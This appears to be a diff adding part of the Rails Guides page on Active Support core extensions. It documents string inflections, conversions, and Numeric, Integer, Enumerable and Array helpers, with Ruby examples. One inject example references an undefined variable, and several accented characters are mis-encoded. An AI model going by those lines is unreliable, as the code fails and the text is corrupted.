+<h5 id="first-limit-1">5.7.4 <tt>first(limit = 1)</tt></h5>
+<p>The call <tt>str.first(n)</tt> is equivalent to <tt>str.to(n-1)</tt> if <tt>n</tt> &gt; 0, and returns an empty string for <tt>n</tt> == 0.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/access.rb</tt>.</p></div>
+<h5 id="last-limit-1">5.7.5 <tt>last(limit = 1)</tt></h5>
+<p>The call <tt>str.last(n)</tt> is equivalent to <tt>str.from(-n)</tt> if <tt>n</tt> &gt; 0, and returns an empty string for <tt>n</tt> == 0.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/access.rb</tt>.</p></div>
+<h4 id="inflections">5.8 Inflections</h4>
+<h5 id="pluralize">5.8.1 <tt>pluralize</tt></h5>
+<p>The method <tt>pluralize</tt> returns the plural of its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;table&quot;.pluralize     # =&gt; &quot;tables&quot;
+&quot;ruby&quot;.pluralize      # =&gt; &quot;rubies&quot;
+&quot;equipment&quot;.pluralize # =&gt; &quot;equipment&quot;
+</pre>
+</div>
+</notextile>
+
+<p>As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in <tt>config/initializers/inflections.rb</tt>. That file is generated by the <tt>rails</tt> command and has instructions in comments.</p>
+<p>Active Record uses this method to compute the default table name that corresponds to a model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_record/base.rb
+def undecorated_table_name(class_name = base_class.name)
+  table_name = class_name.to_s.demodulize.underscore
+  table_name = table_name.pluralize if pluralize_table_names
+  table_name
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="singularize">5.8.2 <tt>singularize</tt></h5>
+<p>The inverse of <tt>pluralize</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;tables&quot;.singularize    # =&gt; &quot;table&quot;
+&quot;rubies&quot;.singularize    # =&gt; &quot;ruby&quot;
+&quot;equipment&quot;.singularize # =&gt; &quot;equipment&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Associations compute the name of the corresponding default associated class using this method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_record/reflection.rb
+def derive_class_name
+  class_name = name.to_s.camelize
+  class_name = class_name.singularize if collection?
+  class_name
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="camelize">5.8.3 <tt>camelize</tt></h5>
+<p>The method <tt>camelize</tt> returns its receiver in camel case:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;product&quot;.camelize    # =&gt; &quot;Product&quot;
+&quot;admin_user&quot;.camelize # =&gt; &quot;AdminUser&quot;
+</pre>
+</div>
+</notextile>
+
+<p>As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;backoffice/session&quot;.camelize # =&gt; &quot;Backoffice::Session&quot;
+</pre>
+</div>
+</notextile>
+
+<p>For example, Action Pack uses this method to load the class that provides a certain session store:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# action_controller/metal/session_management.rb
+def session_store=(store)
+  if store == :active_record_store
+    self.session_store = ActiveRecord::SessionStore
+  else
+    @@session_store = store.is_a?(Symbol) ?
+      ActionDispatch::Session.const_get(store.to_s.camelize) :
+      store
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p><tt>camelize</tt> accepts an optional argument, it can be <tt>:upper</tt> (default), or <tt>:lower</tt>. With the latter the first letter becomes lowercase:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;visual_effect&quot;.camelize(:lower) # =&gt; &quot;visualEffect&quot;
+</pre>
+</div>
+</notextile>
+
+<p>That may be handy to compute method names in a language that follows that convention, for example JavaScript.</p>
+<div class='info'><p>As a rule of thumb you can think of <tt>camelize</tt> as the inverse of <tt>underscore</tt>, though there are cases where that does not hold: <tt>&#8220;SSLError&#8221;.underscore.camelize</tt> gives back <tt>&#8220;SslError&#8221;</tt>.</p></div>
+<p><tt>camelize</tt> is aliased to <tt>camelcase</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="underscore">5.8.4 <tt>underscore</tt></h5>
+<p>The method <tt>underscore</tt> goes the other way around, from camel case to paths:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Product&quot;.underscore   # =&gt; &quot;product&quot;
+&quot;AdminUser&quot;.underscore # =&gt; &quot;admin_user&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Also converts &#8220;::&#8221; back to &#8220;/&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Backoffice::Session&quot;.underscore # =&gt; &quot;backoffice/session&quot;
+</pre>
+</div>
+</notextile>
+
+<p>and understands strings that start with lowercase:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;visualEffect&quot;.underscore # =&gt; &quot;visual_effect&quot;
+</pre>
+</div>
+</notextile>
+
+<p><tt>underscore</tt> accepts no argument though.</p>
+<p>Rails class and module autoloading uses <tt>underscore</tt> to infer the relative path without extension of a file that would define a given missing constant:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_support/dependencies.rb
+def load_missing_constant(from_mod, const_name)
+  ...
+  qualified_name = qualified_name_for from_mod, const_name
+  path_suffix = qualified_name.underscore
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>As a rule of thumb you can think of <tt>underscore</tt> as the inverse of <tt>camelize</tt>, though there are cases where that does not hold. For example, <tt>&#8220;SSLError&#8221;.underscore.camelize</tt> gives back <tt>&#8220;SslError&#8221;</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="titleize">5.8.5 <tt>titleize</tt></h5>
+<p>The method <tt>titleize</tt> capitalizes the words in the receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;alice in wonderland&quot;.titleize # =&gt; &quot;Alice In Wonderland&quot;
+&quot;fermat's enigma&quot;.titleize     # =&gt; &quot;Fermat's Enigma&quot;
+</pre>
+</div>
+</notextile>
+
+<p><tt>titleize</tt> is aliased to <tt>titlecase</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="dasherize">5.8.6 <tt>dasherize</tt></h5>
+<p>The method <tt>dasherize</tt> replaces the underscores in the receiver with dashes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;name&quot;.dasherize         # =&gt; &quot;name&quot;
+&quot;contact_data&quot;.dasherize # =&gt; &quot;contact-data&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The <span class="caps">XML</span> serializer of models uses this method to dasherize node names:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_model/serializers/xml.rb
+def reformat_name(name)
+  name = name.camelize if camelize?
+  dasherize? ? name.dasherize : name
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="demodulize">5.8.7 <tt>demodulize</tt></h5>
+<p>Given a string with a qualified constant reference expression, <tt>demodulize</tt> returns the very constant name, that is, the rightmost part of it:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Product&quot;.demodulize                        # =&gt; &quot;Product&quot;
+&quot;Backoffice::UsersController&quot;.demodulize    # =&gt; &quot;UsersController&quot;
+&quot;Admin::Hotel::ReservationUtils&quot;.demodulize # =&gt; &quot;ReservationUtils&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Active Record for example uses this method to compute the name of a counter cache column:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_record/reflection.rb
+def counter_cache_column
+  if options[:counter_cache] == true
+    &quot;#{active_record.name.demodulize.underscore.pluralize}_count&quot;
+  elsif options[:counter_cache]
+    options[:counter_cache]
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="parameterize">5.8.8 <tt>parameterize</tt></h5>
+<p>The method <tt>parameterize</tt> normalizes its receiver in a way that can be used in pretty URLs.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;John Smith&quot;.parameterize # =&gt; &quot;john-smith&quot;
+&quot;Kurt Gรถdel&quot;.parameterize # =&gt; &quot;kurt-godel&quot;
+</pre>
+</div>
+</notextile>
+
+<p>In fact, the result string is wrapped in an instance of <tt>ActiveSupport::Multibyte::Chars</tt>.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="tableize">5.8.9 <tt>tableize</tt></h5>
+<p>The method <tt>tableize</tt> is <tt>underscore</tt> followed by <tt>pluralize</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Person&quot;.tableize      # =&gt; &quot;people&quot;
+&quot;Invoice&quot;.tableize     # =&gt; &quot;invoices&quot;
+&quot;InvoiceLine&quot;.tableize # =&gt; &quot;invoice_lines&quot;
+</pre>
+</div>
+</notextile>
+
+<p>As a rule of thumb, <tt>tableize</tt> returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight <tt>tableize</tt> indeed, because it also demodulizes de class name and checks a few options that may affect the returned string.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="classify">5.8.10 <tt>classify</tt></h5>
+<p>The method <tt>classify</tt> is the inverse of <tt>tableize</tt>. It gives you the class name corresponding to a table name:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;people&quot;.classify        # =&gt; &quot;Person&quot;
+&quot;invoices&quot;.classify      # =&gt; &quot;Invoice&quot;
+&quot;invoice_lines&quot;.classify # =&gt; &quot;InvoiceLine&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The method understands qualified table names:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;highrise_production.companies&quot;.classify # =&gt; &quot;Company&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Note that <tt>classify</tt> returns a class name as a string. You can get the actual class object invoking <tt>constantize</tt> on it, explained next.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="constantize">5.8.11 <tt>constantize</tt></h5>
+<p>The method <tt>constantize</tt> resolves the constant reference expression in its receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Fixnum&quot;.constantize # =&gt; Fixnum
+
+module M
+  X = 1
+end
+&quot;M::X&quot;.constantize # =&gt; 1
+</pre>
+</div>
+</notextile>
+
+<p>If the string evaluates to no known constant, or its content is not even a valid constant name, <tt>constantize</tt> raises <tt>NameError</tt>.</p>
+<p>Constant name resolution by <tt>constantize</tt> starts always at the top-level <tt>Object</tt> even if there is no leading &#8220;::&#8221;.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # =&gt; :in_M
+  &quot;::X&quot;.constantize # =&gt; :in_Object
+  &quot;X&quot;.constantize   # =&gt; :in_Object (!)
+end
+</pre>
+</div>
+</notextile>
+
+<p>So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.</p>
+<p>Mailer test cases obtain the mailer being tested from the name of the test class using <tt>constantize</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError =&gt; e
+  raise NonInferrableMailerError.new(name)
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="humanize">5.8.12 <tt>humanize</tt></h5>
+<p>The method <tt>humanize</tt> gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any &#8220;_id&#8221; suffix, and capitalizes the first word:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;name&quot;.humanize           # =&gt; &quot;Name&quot;
+&quot;author_id&quot;.humanize      # =&gt; &quot;Author&quot;
+&quot;comments_count&quot;.humanize # =&gt; &quot;Comments count&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The helper method <tt>full_messages</tt> uses <tt>humanize</tt> as a fallback to include attribute names:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def full_messages
+  full_messages = []
+
+  each do |attribute, messages|
+    ...
+    attr_name = attribute.to_s.gsub('.', '_').humanize
+    attr_name = @base.class.human_attribute_name(attribute, :default =&gt; attr_name)
+    ...
+  end
+
+  full_messages
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h5 id="foreign_key">5.8.13 <tt>foreign_key</tt></h5>
+<p>The method <tt>foreign_key</tt> gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds &#8220;_id&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;User&quot;.foreign_key           # =&gt; &quot;user_id&quot;
+&quot;InvoiceLine&quot;.foreign_key    # =&gt; &quot;invoice_line_id&quot;
+&quot;Admin::Session&quot;.foreign_key # =&gt; &quot;session_id&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Pass a false argument if you do not want the underscore in &#8220;_id&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;User&quot;.foreign_key(false) # =&gt; &quot;userid&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Associations use this method to infer foreign keys, for example <tt>has_one</tt> and <tt>has_many</tt> do this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/inflections.rb</tt>.</p></div>
+<h4 id="string-conversions">5.9 Conversions</h4>
+<h5 id="ord">5.9.1 <tt>ord</tt></h5>
+<p>Ruby 1.9 defines <tt>ord</tt> to be the codepoint of the first character of the receiver. Active Support backports <tt>ord</tt> for single-byte encondings like <span class="caps">ASCII</span> or <span class="caps">ISO</span>-8859-1 in Ruby 1.8:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;a&quot;.ord # =&gt; 97
+&quot;ร &quot;.ord # =&gt; 224, in ISO-8859-1
+</pre>
+</div>
+</notextile>
+
+<p>In Ruby 1.8 <tt>ord</tt> doesn&#8217;t work in general in UTF8 strings, use the multibyte support in Active Support for that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;a&quot;.mb_chars.ord # =&gt; 97
+&quot;ร &quot;.mb_chars.ord # =&gt; 224, in UTF8
+</pre>
+</div>
+</notextile>
+
+<p>Note that the 224 is different in both examples. In <span class="caps">ISO</span>-8859-1 &#8220;ร &#8221; is represented as a single byte, 224. Its single-character representattion in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call <tt>ord</tt> on the UTF8 string &#8220;ร &#8221; the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.</p>
+<div class='info'><p><tt>ord</tt> is equivalent to <tt>getbyte(0)</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/conversions.rb</tt>.</p></div>
+<h5 id="getbyte">5.9.2 <tt>getbyte</tt></h5>
+<p>Active Support backports <tt>getbyte</tt> from Ruby 1.9:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;foo&quot;.getbyte(0)  # =&gt; 102, same as &quot;foo&quot;.ord
+&quot;foo&quot;.getbyte(1)  # =&gt; 111
+&quot;foo&quot;.getbyte(9)  # =&gt; nil
+&quot;foo&quot;.getbyte(-1) # =&gt; 111
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p><tt>getbyte</tt> is equivalent to <tt>[]</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/conversions.rb</tt>.</p></div>
+<h5 id="to_date-to_time-to_datetime">5.9.3 <tt>to_date</tt>, <tt>to_time</tt>, <tt>to_datetime</tt></h5>
+<p>The methods <tt>to_date</tt>, <tt>to_time</tt>, and <tt>to_datetime</tt> are basically convenience wrappers around <tt>Date._parse</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;2010-07-27&quot;.to_date              # =&gt; Tue, 27 Jul 2010
+&quot;2010-07-27 23:37:00&quot;.to_time     # =&gt; Tue Jul 27 23:37:00 UTC 2010
+&quot;2010-07-27 23:37:00&quot;.to_datetime # =&gt; Tue, 27 Jul 2010 23:37:00 +0000
+</pre>
+</div>
+</notextile>
+
+<p><tt>to_time</tt> receives an optional argument <tt>:utc</tt> or <tt>:local</tt>, to indicate which time zone you want the time in:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;2010-07-27 23:42:00&quot;.to_time(:utc)   # =&gt; Tue Jul 27 23:42:00 UTC 2010
+&quot;2010-07-27 23:42:00&quot;.to_time(:local) # =&gt; Tue Jul 27 23:42:00 +0200 2010
+</pre>
+</div>
+</notextile>
+
+<p>Default is <tt>:utc</tt>.</p>
+<p>Please refer to the documentation of <tt>Date._parse</tt> for further details.</p>
+<div class='info'><p>The three of them return <tt>nil</tt> for blank receivers.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/string/conversions.rb</tt>.</p></div>
+<h3 id="extensions-to-numeric">6 Extensions to <tt>Numeric</tt></h3>
+<h4 id="bytes">6.1 Bytes</h4>
+<p>All numbers respond to these methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+</pre>
+</div>
+</notextile>
+
+<p>They return the corresponding amount of bytes, using a conversion factor of 1024:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+2.kilobytes   # =&gt; 2048
+3.megabytes   # =&gt; 3145728
+3.5.gigabytes # =&gt; 3758096384
+-4.exabytes   # =&gt; -4611686018427387904
+</pre>
+</div>
+</notextile>
+
+<p>Singular forms are aliased so you are able to say:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+1.megabyte # =&gt; 1048576
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/numeric/bytes.rb</tt>.</p></div>
+<h3 id="extensions-to-integer">7 Extensions to <tt>Integer</tt></h3>
+<h4 id="multiple_of">7.1 <tt>multiple_of?</tt></h4>
+<p>The method <tt>multiple_of?</tt> tests whether an integer is multiple of the argument:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+2.multiple_of?(1) # =&gt; true
+1.multiple_of?(2) # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/integer/multiple.rb</tt>.</p></div>
+<h4 id="ordinalize">7.2 <tt>ordinalize</tt></h4>
+<p>The method <tt>ordinalize</tt> returns the ordinal string corresponding to the receiver integer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+1.ordinalize    # =&gt; &quot;1st&quot;
+2.ordinalize    # =&gt; &quot;2nd&quot;
+53.ordinalize   # =&gt; &quot;53rd&quot;
+2009.ordinalize # =&gt; &quot;2009th&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/integer/inflections.rb</tt>.</p></div>
+<h3 id="extensions-to-float">8 Extensions to <tt>Float</tt></h3>
+<h4 id="round">8.1 <tt>round</tt></h4>
+<p>The built-in method <tt>Float#round</tt> rounds a float to the nearest integer. Active Support adds an optional parameter to let you specify a precision:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Math::E.round(4) # =&gt; 2.7183
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/float/rounding.rb</tt>.</p></div>
+<h3 id="extensions-to-bigdecimal">9 Extensions to <tt>BigDecimal</tt></h3>
+<p>&#8230;</p>
+<h3 id="extensions-to-enumerable">10 Extensions to <tt>Enumerable</tt></h3>
+<h4 id="group_by">10.1 <tt>group_by</tt></h4>
+<p>Active Support redefines <tt>group_by</tt> in Ruby 1.8.7 so that it returns an ordered hash as in 1.9:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+entries_by_surname_initial = address_book.group_by do |entry|
+  entry.surname.at(0).upcase
+end
+</pre>
+</div>
+</notextile>
+
+<p>Distinct block return values are added to the hash as they come, so that&#8217;s the resulting order.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h4 id="sum">10.2 <tt>sum</tt></h4>
+<p>The method <tt>sum</tt> adds the elements of an enumerable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2, 3].sum # =&gt; 6
+(1..100).sum  # =&gt; 5050
+</pre>
+</div>
+</notextile>
+
+<p>Addition only assumes the elements respond to <tt>+</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[[1, 2], [2, 3], [3, 4]].sum    # =&gt; [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # =&gt; &quot;foobarbaz&quot;
+{:a =&gt; 1, :b =&gt; 2, :c =&gt; 3}.sum # =&gt; [:b, 2, :c, 3, :a, 1]
+</pre>
+</div>
+</notextile>
+
+<p>The sum of an empty collection is zero by default, but this is customizable:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[].sum    # =&gt; 0
+[].sum(1) # =&gt; 1
+</pre>
+</div>
+</notextile>
+
+<p>If a block is given <tt>sum</tt> becomes an iterator that yields the elements of the collection and sums the returned values:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+(1..5).sum {|n| n * 2 } # =&gt; 30
+[2, 4, 6, 8, 10].sum    # =&gt; 30
+</pre>
+</div>
+</notextile>
+
+<p>The sum of an empty receiver can be customized in this form as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[].sum(1) {|n| n**3} # =&gt; 1
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>ActiveRecord::Observer#observed_subclasses</tt> for example is implemented this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def observed_subclasses
+  observed_classes.sum([]) { |klass| klass.send(:subclasses) }
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h4 id="each_with_object">10.3 <tt>each_with_object</tt></h4>
+<p>The <tt>inject</tt> method offers iteration with an accumulator:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[2, 3, 4].inject(1) {|acc, i| product*i } # =&gt; 24
+</pre>
+</div>
+</notextile>
+
+<p>The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2].inject({}) {|h, i| h[i] = i**2; h} # =&gt; {1 =&gt; 1, 2 =&gt; 4}
+</pre>
+</div>
+</notextile>
+
+<p>See that spurious &#8220;<tt>; h</tt>&#8221;?</p>
+<p>Active Support backports <tt>each_with_object</tt> from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # =&gt; {1 =&gt; 1, 2 =&gt; 4}
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Note that the item of the collection and the accumulator come in different order in <tt>inject</tt> and <tt>each_with_object</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h4 id="index_by">10.4 <tt>index_by</tt></h4>
+<p>The method <tt>index_by</tt> generates a hash with the elements of an enumerable indexed by some key.</p>
+<p>It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+invoices.index_by(&amp;:number)
+# =&gt; {'2009-032' =&gt; &lt;Invoice ...&gt;, '2009-008' =&gt; &lt;Invoice ...&gt;, ...}
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h4 id="many">10.5 <tt>many?</tt></h4>
+<p>The method <tt>many?</tt> is shorthand for <tt>collection.size > 1</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% if pages.many? %&gt;
+  &lt;%= pagination_links %&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>If an optional block is given <tt>many?</tt> only takes into account those elements that return true:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@see_more = videos.many? {|video| video.category == params[:category]}
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h4 id="exclude">10.6 <tt>exclude?</tt></h4>
+<p>The predicate <tt>exclude?</tt> tests whether a given object does <strong>not</strong> belong to the collection. It is the negation of the builtin <tt>include?</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+to_visit &lt;&lt; node if visited.exclude?(node)
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/enumerable.rb</tt>.</p></div>
+<h3 id="extensions-to-array">11 Extensions to <tt>Array</tt></h3>
+<h4 id="accessing">11.1 Accessing</h4>
+<p>Active Support augments the <span class="caps">API</span> of arrays to ease certain ways of accessing them. For example, <tt>to</tt> returns the subarray of elements up to the one at the passed index:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(a b c d).to(2) # =&gt; %w(a b c)
+[].to(7)          # =&gt; []
+</pre>
+</div>
+</notextile>
+
+<p>Similarly, <tt>from</tt> returns the tail from the element at the passed index on:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+%w(a b c d).from(2)  # =&gt; %w(c d)
+%w(a b c d).from(10) # =&gt; nil
+[].from(0)           # =&gt; []
+</pre>
+</div>
+</notextile>
+
+<p>The methods <tt>second</tt>, <tt>third</tt>, <tt>fourth</tt>, and <tt>fifth</tt> return the corresponding element (<tt>first</tt> is built-in). Thanks to social wisdom and positive constructiveness all around, <tt>forty_two</tt> is also available.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/access.rb</tt>.</p></div>
+<h4 id="random-access">11.2 Random Access</h4>
+<p>Active Support backports <tt>sample</tt> from Ruby 1.9:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+shape_type = [Circle, Square, Triangle].sample
+# =&gt; Square, for example
+
+shape_types = [Circle, Square, Triangle].sample(2)
+# =&gt; [Triangle, Circle], for example
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/array/random_access.rb</tt>.</p></div>
+<h4 id="options-extraction">11.3 Options Extraction</h4>
+<p>When the last argument in a method call is a hash, except perhaps for a <tt>&block</tt> argument, Ruby allows you to omit the brackets:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+User.exists?(:email =&gt; params[:email])
+</pre>
+</div>
+</notextile>
+
+<p>That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.</p>
